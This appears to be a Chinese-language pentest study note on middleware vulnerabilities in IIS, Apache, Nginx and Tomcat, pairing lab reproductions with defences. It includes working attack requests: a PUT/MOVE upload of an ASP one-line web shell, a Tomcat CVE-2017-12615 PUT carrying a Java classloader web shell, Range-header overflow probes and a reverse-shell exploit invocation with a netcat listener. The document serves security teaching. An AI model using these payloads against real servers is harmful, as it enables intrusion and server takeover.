中介軟體漏洞

中介軟體漏洞

常見的web中介軟體

iis
apache
tomcat
nginx
jboss
Weblogic
WebSphere

IIS6x篇

1.1PUT漏洞

1.漏洞描述

IIS Server 在 Web 服務擴充套件中開啟了 WebDAV ，配置了可以寫入的許可權，造成任意檔案上傳。

版本：IIS 6.0

2.漏洞復現

1）開啟 WebDAV 和寫許可權

3.漏洞復現過程

1）直接抓包開啟寫許可權的網站，修改請求方式為POST，再將資料包開頭的POST改為OPTIONS

判斷出該網站存在PUT漏洞

2）修改請求包為以下內容

PUT /test.txt HTTP/1.1
Host: upload.moonteam.com
Content-Length: 25

<%eval request("cmd")%>

檔案test.txt會被寫入該網站目錄中

3）修改請求包為以下內容

MOVE /test.txt HTTP/1.1
Host: upload.moonteam.com
Destination: http://upload.moonteam.com/shell.asp

注意：最下面必須有兩行是空的

使得檔案test.txt被修改為shell.asp

shell.asp寫入成功

4.漏洞防禦

1.關閉webdav

2.關閉寫入許可權

1.2 IIS6.0解析漏洞

1.1 基於檔名

1.2 原理

1）該版本預設將*.asp;.jpg這種格式的檔名，當作asp解析。伺服器預設不解析；之後的內容，相當於截斷

2）IIS除了會將asp解析成指令碼執行檔案之外，還會將cer cdx asa 等副檔名檔案解析成asp

如下圖，asa被解析為asp

1.3漏洞復現

透過檔案上傳或者直接在網站中建立檔案，格式為*.asp;.jpg ，在主機上訪問這個檔案，發現被解析成了asp檔案

1.4漏洞防禦

1）禁止建立和上傳此類名稱的檔案

2）圖片存放目錄設定成禁止指令碼檔案執行

3）升級IIS版本

2.1 基於資料夾

2.2 原理

該版本預設將*asp/目錄下的所有檔案當成asp來解析

2.3 漏洞復現

建立資料夾*asp/ ，上傳圖片格式的後門到此目錄

2.4漏洞防禦

1）禁止建立此名稱資料夾

2）升級IIS版本

1.3 IIS短檔案洩露漏洞

1.1 介紹&原理

簡介：Windows以 8.3 格式生成與 MS-DOS 相容的（短）檔名，以允許基於 MS-DOS 或 16 位 Windows的程式訪問這些檔案。在cmd下輸入"dir /x"即可看到短檔名的效果。

原理：

• 當字尾小於4時，短檔名產生需要檔案(夾)名字首字元長度大於等於9位。
• 當字尾大於等於4時，檔名字首字元長度即使為1，也會產生短檔名。
• 目前IIS支援短檔名猜測的HTTP方法主要包括：DEBUG、OPTIONS、GET、POST、HEAD、TRACE六 種
• IIS 8.0之後的版本只能透過OPTIONS和TRACE方法被猜測成功

1.2 漏洞復現

• IIS8.0以下版本需要開啟ASP.NET支援。
• IIS>=8.0版本,即使沒有安裝ASP.NET，透過 OPTIONS和TRACE方法也可以猜解成功。

以下透過開啟IIS6.0 ASP.NET後進行復現。

進入upload.moonteam.com網站目錄

命令dir /x檢視所有的檔案的短檔名

短檔名特徵：

1）只顯示前6位的字元,後續字元用~1代替。其中數字1是可以遞增。如果存在檔名類似的檔案,則前面的 6個字元是相同的,後面的數字進行遞增

2）.字尾名最長只有3位,超過3位的會生成短檔名,且字尾多餘的部分會截斷。

3）所有小寫字母均轉換成大寫的字母

4）.長檔名中包含多個”.”的時候,以檔案最後一個”.”作為短檔名的字尾

5）長檔名字首/資料夾名字元長度符合0-9和A-Z、a-z範圍且需要大於等於9位才會生成短檔名,如果包 含空格或者其他部分特殊字元,不論長度均會生成短檔案。

驗證該漏洞是否存在：

使用payload驗證目標是否存在IIS短檔名漏洞,下圖顯示的404,說明目標存在該短檔名

注：* 可以匹配n個字元, n可以為0

http://upload.moonteam.com/*~1*/a.aspx

透過瀏覽器訪問一個不存在的短檔名，會返回400狀態碼, 400說明該檔案不存在

或者yakit

判斷漏洞存在後手注猜解IIS短檔名

在網站目錄下新建了123456a.txt檔案，訪問

http://upload.moonteam.com/1*~1*/a.aspx

http://upload.moonteam.com/p*~1*/a.aspx

透過兩次的提交確認了1是404 p是400 所以存在a檔案開頭的短檔案。 //當然我個人覺得一次就行了

接著往後面猜

http://upload.moonteam.com/123456*~1*/a.aspx


現在短檔名稱已經爆出來了六位

就這樣照著猜解，猜解出所有的字首字尾，短檔名

1.3 漏洞防禦

1. 升級.net framework
2. 修改登錄檔鍵值： HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem 修改NtfsDisable8dot3NameCreation為1。修改完成後,需要重啟系統生效。 （新建的才沒有短檔名）
3. 命令列關閉 fsutil behavior set disable8dot3 1

1.4 IIS RCE-CVE-2017-7269

1.1介紹

Microsoft windows Server 2003 R2中的 Interne資訊服務IIS6.0中的 WebDAV服務中的 ScStoragePathFromUrl函式中的緩衝區溢位允許遠端攻擊者透過以 If:<http://開頭的長標頭執行任 意程式碼 PROPFIND請求

1.2影響範圍

Windows Server 2003 R2上使用IIS6.0並開啟WebDAV擴充

1.3漏洞復現

python iis 192.168.0.115 80 192.168.0.154 9999
nc -lvnp 9999

不知道為啥我是監聽不了，有漏洞但是無法會話

1.4 漏洞防禦

1.關閉 WebDav服務

2.升級

3.部署安全裝置

IIS7X漏洞

1.1 iis7檔案解析漏洞

1.1 原理

IIS7.x版本在Fast-CGl執行模式下，在任意檔案，例：a001.jpg/png後面加上/.php，會將a001.jpg/png 解析為php檔案

1.2 漏洞復現

上傳圖片到網站允許目錄 在圖片上加上/.php

http://192.168.0.148:8980/1.jpg/.php

1.3 漏洞防禦

1）配置 cgi fix_pathinfo（php inil中）為0並重啟php-cgi程式

2）編輯對映模組->對映->打勾

1.2 HTTP.SYS遠端程式碼執行(MS15-034)

1.1介紹

HTTP.SYS是Microsoft Windows處理HTTP請求的核心驅動程式，為了最佳化IIS伺服器效能，從IIS6.0引 入，IIS服務程序依賴HTTP.SYS

HTTP.SYS遠端程式碼執行漏洞實質是HTTP.SYS的整數溢位漏洞，當攻擊者向受影響的Windows系統傳送 特殊設計的HTTP 請求，HTTP.sys 未正確分析時就會導致此漏洞，成功利用此漏洞的攻擊者可以在系統 帳戶的上下文中執行任意程式碼。

主要存在Windows+IIS的環境下，任何安裝了微軟IIS 6.0以上的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1作業系統都受到這個漏洞的影響驗證這個漏洞

1.2 影響範圍

Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和 Windows server 2012 R2

1.3影響版本

IIS7.5、IIS8.0、IIS8.5

1.4漏洞復現

訪問網站

1）發現存在漏洞

編輯請求頭，增加Range: bytes=0-18446744073709551615欄位，若返回碼狀態為416 Requested Range Not Satisfiable，則存在HTTP.SYS遠端程式碼執行漏洞。

GET / HTTP/1.1
Host: 192.168.0.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Range: bytes=0-18446744073709551615
Content-Length: 2

或者yakit

直接發現存在漏洞

POC地址： https://github.com/davidjura/MS15-034-IIS-Active-DoS-Exploit-PoC

python IISDoS.py

輸入攻擊ip

輸入80

/welcome.png

y

1.5漏洞修復

1）安裝修復補丁（KB3042553）

2. apache篇

Apache 是世界使用排名第一的 Web 伺服器軟體。它可以執行在幾乎所有廣泛使用的計算機平臺上，由 於其跨平臺和安全性被廣泛使用，是最流行的 Web 伺服器端軟體之一。

apache目錄結構

bin：存放常用命令工具，如httpd
cgi-bin：存放linux下常用命令，如xxx.sh
error：錯誤記錄
htdocs：網站原始碼
icons：網站圖示
manual：手冊
modules：擴充套件模組

2.1 未知擴充名解析漏洞

1. 漏洞原理

Apache預設一個檔案可以有多個以點分割的字尾，當最右邊的字尾無法識別，則繼續向左識別，直到識 別到合法字尾才進行解析。

2.漏洞復現

如果有一個xxx.php.bak檔案，apache存在此特性時，從最右邊開始解析，一看.bak不認識，繼續解析，再一看.php認識，就會解析成.php檔案。訪問也是同樣的道理

Apache不在mime.type中的字尾都不認識，目錄一般位於/Apache/conf/mime.type

1. 使用module模式與php結合的所有版本apache存在未知副檔名解析漏洞。
2. 使用fastcgi模式與php結合的所有版本apache不存在此漏洞。
3. 利用此漏洞時必須保證副檔名中至少帶有一個.php，不然將預設作為txt/html文件處理。

在kali中復現

sudo service apache2 restart                 --啟動apache服務
cd /etc/apache2/mods-enabled                 --進入目錄

ls
nano php8.2.conf

正規表示式中，$用來匹配字串結尾位置。如果設定了RegExp物件的Multiline屬性的條件下，還會匹 配到字串結尾的換行符"\n"或"\r"。

（上圖游標位置）把$換成\. 然後重啟apache即可解析成php sudo service apache2 restart
在/var/www/html 建立xxx.php.bak 並寫入 <?php phpinfo();?>

3.漏洞修復

1）在httpd.conf或httpd-vhosts.conf中加入以下語句，從而禁止檔名格式為.php.的訪問許可權：

<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>

2）如果需要保留檔名，可以修改程式原始碼，替換上傳檔名中的“.”為“_”：

​ $filename = str_replace('.', '_', $filename);

2.2 AddHandler導致的解析漏洞

1. 漏洞原理

1）Apache在解析一個檔案時，遇到不認識的副檔名，將會從後往前解析，直到遇到認識的副檔名

2）如果都不認識會暴露原始碼。

在apache配置不當時會造成apache解析漏洞

2. 漏洞復現

1、在httpd.conf把註釋去掉，字尾是存在的.php .phtml都會被解析成php檔案

AddType application/x-httpd-php .php .phtml

3.漏洞修復

1）在httpd.conf或httpd-vhosts.conf中加入以下語句，從而禁止檔名格式為.php的訪問許可權

<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>

2）把配置不當的檔案進行修改

2.3 目錄遍歷漏洞

1. 漏洞原理

當客戶端訪問到一個目錄時，Apache伺服器會預設尋找一個index list中的檔案，若檔案不在，則會列出當前目錄下所有檔案或返回403狀態碼，而列出目錄下所有檔案的行為被稱為目錄遍歷

2. 漏洞復現

httpd.conf

DocumentRoot "C:\phpStudy\WWW"
<Directory />
Options +Indexes +FollowSymLinks +ExecCGI
AllowOverride All
Order allow,deny
Allow from all
Require all granted
</Directory>

3.漏洞防禦

在httpd.conf檔案中找到Options + Indexes + FollowSymLinks + ExecCGI並修改成Options -Indexes + FollowSymLinks + ExecCGI並儲存（吧+修改為-）

+ Indexes 允許目錄瀏覽
— Indexes 禁止目錄瀏覽

2.4 Apache HTTPD 換行解析漏洞（CVE-2017-15715）

1. 漏洞描述

Apache HTTPD是一款HTTP伺服器，它可以透過mod_php來執行PHP網頁。其2.4.0~2.4.29版本中存在 一個解析漏洞，在解析PHP時，1.php\x0a將被按照PHP字尾進行解析，導致繞過一些伺服器的安全策 略。

可以看到這裡獲取檔名是需要單獨post一個name的，因為如果透過 $_FILES['file']['name'] 獲 取檔名的話，會把\x0a自動去除，所以 $_FILES['file']['name'] 這種方式獲取檔名就不會造成 這個漏洞

2. 影響範圍

apache：2.4.0~2.4.29版本

3.漏洞復現

<html>
<head><meta charset="utf-8"></head>
<body>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">檔名：</label>
<input type="file" name="file" id="file"><br>
<input type="text" name="name" <br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
<br />
<?php
if(isset($_FILES['file'])){
#1.php php
$name =basename($_POST['name']);        --這裡
$ext = pathinfo($name,PATHINFO_EXTENSION);
$array=array('php','php3','php4','php5','phtml','pht');
if(in_array($ext,$array)){
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'],'./'.$name);
}
?>

後臺是透過黑名單方式過濾了php字尾的檔案，根據最開始的知識，什麼樣的檔案算是php檔案呢？在 有定義，這句話的意思是以php結尾的檔案都算php檔案，在正則中表示匹配輸入字串的結尾位置。 如果設定了 RegExp物件的 Multiline屬性，則也匹配 \n 或 \r 恰好，我們在檔案末尾加了0x0a（n），所以被匹配成功了。

1.0x0d \r CR這三者代表是回車，是同一個東西，回車的作用只是移動游標至該行的起始位置
2.0x0a \n CL這三者代表換行，是同一個東西，換行至下一行行首起始位置；

3. nginx篇

介紹：Nginx是一款輕量級的Web 伺服器/反向代理伺服器及電子郵件（IMAP/POP3）代理伺服器，在BSD-like 協議下發行。其特點是佔有記憶體少，併發能力強，事實上nginx的併發能力確實在同型別的網頁伺服器中 表現較好。

3.1. 檔案解析漏洞

1.漏洞原理

該漏洞是由於Nginx中php配置不當而造成的，與Nginx版本無關，但在高版本的php中，由於 security.limit_extensions的引入，使得該漏洞難以被成功利用。

在php5.2.7中開啟php.ini檔案，其中cgi.fix_pathinfo=1，說明存在該漏洞

（傳給路徑位於SERVER["SCRIPT_FILENAME"]，修復去除路徑位於 SERVER["PATH_INFO"]）

cgi.fix_pathinfo 引數控制著 PHP 如何處理路徑資訊
cgi.fix_pathinfo 引數決定了 PHP 是否修復路徑資訊。當 cgi.fix_pathinfo = 1 時，PHP 會嘗試修復路徑資訊，並將路徑資訊的一部分作為指令碼檔名來執行。

2. 漏洞原理分析

Nginx的處理程式和FastCGI處理程式不同導致

Nginx在拿到URL為/123.jpg/xxx.php後，識別處字尾是.php，認為是php檔案，轉交給PHP FastCGI處理程 序去處理。PHP FastCGI處理程式識別該URI： /123.jpg/xxx.php不存在，按照PHP FastCGI處理程式自己 的規則，刪去最後的/xxx.php，又看/123.jpg存在，就將/123.jpg當成要執行的檔案，就成功解析。

Nginx傳送給PHP FastCGI處理程式的路徑可以在phpinfo中檢視【傳送路徑檢視】

cgi.fix_pathinfo為php中的一個選項，預設開啟為1，作用為修理路徑，也就是對路徑URI的處理規則

當php遇到檔案路勁為/123.jpg/xxx.php/ss.001時，該檔案不存在，會刪除最後的/s100，再判 斷/1.jpg/xxx.php是否存在，若存在則將/123.jpg/xxx.php當作/1.jpg/xxx.php/ss.001檔案，若不存在，則 繼續刪除最後一個路徑。刪除的多餘路徑會存在PATH_INFO中，在這裡為s100

3. 漏洞復現

使用phpstudy nginx php5.2.7

在網站目錄中放一個123.jpg,內容寫為,訪問123.jpg/x.php,發現出現了phpinfo頁面

4. 漏洞防禦

1）cgi.fix_pathinfo = 0

2）配置正確的Nginx：確保正確識別哪些檔案應該作為php指令碼來處理

location ~ \.php$ {
    include fastcgi_params;
    fastcgi_pass your_php_fpm_address;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}

3.2 目錄遍歷漏洞

1. 漏洞原理

Nginx的目錄遍歷與apache一樣,屬於配置方面的問題,錯誤的配置可導致目錄遍歷與原始碼洩露。

修改nginx.conf,在如下圖位置新增autoindex on

autoindex on;

autoindex on 開啟目錄瀏覽 autoindex off關閉目錄瀏覽 預設是關閉狀態

2. 漏洞復現

直接在網站根目錄下建立一個新目錄，再加上兩個檔案，訪問這個目錄

3. 漏洞防禦

1.設定 autoindex off 關閉目錄瀏覽

2.刪除 autoindex on

3.3 空位元組程式碼執行漏洞

1. 漏洞原理

在使用PHP-FastCGI執行php的時候，URL裡面在遇到%00空位元組時與FastCGI處理不一致，導致可在非 php檔案中嵌入php程式碼，透過訪問url+%00.php來執行其中的php程式碼。如： http://local/robots.txt.php會把robots.txt檔案當作php來執行。

2. 影響版本

nginx 0.5.*
nginx 0.6.*
nginx 0.7 <= 0.7.65
nginx 0.8 <= 0.8.37

3. 漏洞復現

開啟nginx

在網站目錄下新增1.jpg檔案

訪問該檔案

抓包，新增%00 這裡由於該圖非正常，在抓包時最後面新增..，可以讓burpsuite抓到

將請求修改為：

/1.jpg..php

發包即可

4. 漏洞防禦

1.在nginx虛擬機器配置或者fcgi.conf配置加如下程式碼：

if ($request_filename ~* (.*)\.php) {
set $php_url $1;
}
if (!-e $php_url.php) {
return 403;
}

2.升級 nginx

3.4 整數溢位漏洞（CVE-2017-7529）

1. 漏洞原理

在 Nginx 的 range filter 中存在整數溢位漏洞，可以透過帶有特殊構造的 range 的 HTTP 頭的惡意請求 引發這個整數溢位漏洞，並導致資訊洩露。 該漏洞影響所有 0.5.6 - 1.13.2版本內預設配置模組的Nginx只需要開啟快取攻擊者即可傳送惡意請求進 行遠端攻擊造成資訊洩露。當Nginx伺服器使用代理快取的情況下攻擊者透過利用該漏洞可以拿到服務 器的後端真實IP或其他敏感資訊。 透過我們的分析判定該漏洞利用難度低可以歸屬於low-hanging-fruit的漏洞在真實網路攻擊中也有一定 利用價值。

2. 漏洞復現

檢測指令碼

#!/usr/bin/env python
import sys
import requests
if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
sys.exit()
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)
r = requests.get(url, headers=headers)

3. 漏洞防禦

直接升級

3.5 CRLF注入漏洞

1. 漏洞原理

Nginx將傳入的url進行解碼，對其中的%0a%0d替換成換行符，導致後面的資料注入至頭部，造成CRLF 注入漏洞。

2. 漏洞復現

設定https跳轉，這樣就可以接收到url，進而進行處理。在 C:\phpStudy\PHPTutorial\nginx\conf\nginx.conf檔案中新增下面一行話。

location / {
return 302 https://$host$uri;
}

構造url，訪問 http://192.168.0.155/ Set-cookie:JSPSESSID%3D3

GET /%0ASet-cookie:JSPSESSID%3D3 HTTP/1.1
Host: 192.168.0.155
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

3.漏洞防禦

刪除配置不當的配置

3.6 檔名邏輯漏洞（CVE-2013-4547）

1. 漏洞原理

這一漏洞的原理是非法字元空格和截止符（\0）會導致Nginx解析URI時的有限狀態機混亂，此漏洞可導 致目錄跨越及程式碼執行，其影響版本為：nginx 0.8.41 – 1.5.6

2. 漏洞復現

建立 1.jpg 檔案，並上傳

抓包，在該檔案最後新增一個空

把方法改成get

讓它訪問這個上傳的檔案，沒用的可以刪掉，注意留一個行，後面兩個空格加上.php

在十六進位制中把第二個20改成00

然後再放包訪問，就會訪問到解釋為php指令碼

3.漏洞修復

1.升級nginx

4.Tomcat篇

4.1 Tomcat遠端程式碼執行漏洞（CVE-2017-12615）

1. 漏洞描述

當 Tomcat執行在Windows作業系統時，且啟用了HTTP PUT請求方法（例如，將 readonly 初始化引數 由預設值設定為 false），攻擊者將有可能可透過精心構造的攻擊請求資料包向伺服器上傳包含任意代 碼的 JSP 檔案，JSP檔案中的惡意程式碼將能被伺服器執行。導致伺服器上的資料洩露或獲取伺服器許可權。

2. 漏洞原理

當在Tomcat的conf（配置目錄下）/web.xml配置檔案中新增readonly設定為false時，將導致該漏洞產 生，（需要允許put請求）

3. 影響範圍

Apache Tomcat 7.0.0 - 7.0.79 Apache Tomcat/8.5.19

<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

4. 漏洞復現

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }

    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

蟻劍連線192.168.70.135/1.jsp，密碼passwd

5. 漏洞防禦

1.設定 readonly未true

4.2 tomcat弱口令&war遠端部署

1. 漏洞原理

在tomcat8環境下預設進入後臺的密碼為tomcat/tomcat，未修改造成未授權即可進入後臺，或者管理 員把密碼設定成弱口令，

使用工具對其進行窮舉。得到密碼後，也可以進行後臺上傳惡意程式碼控制伺服器。

2. 漏洞復現

vulfocus中開啟環境

輸入tomcat進入/manager/html

製作後門木馬，做成zip壓縮包，改字尾為war

上傳

蟻劍連線

上傳會自動解壓 用客戶端進行連線即可獲取

3. 漏洞修復

1.設定強口令

conf/tomcat-users.xml

<user username="tomcat" password="tomcat" roles="manager-gui,managerscript,manager-jmx,manager-status,admin-gui,admin-script" /

2.刪除manger檔案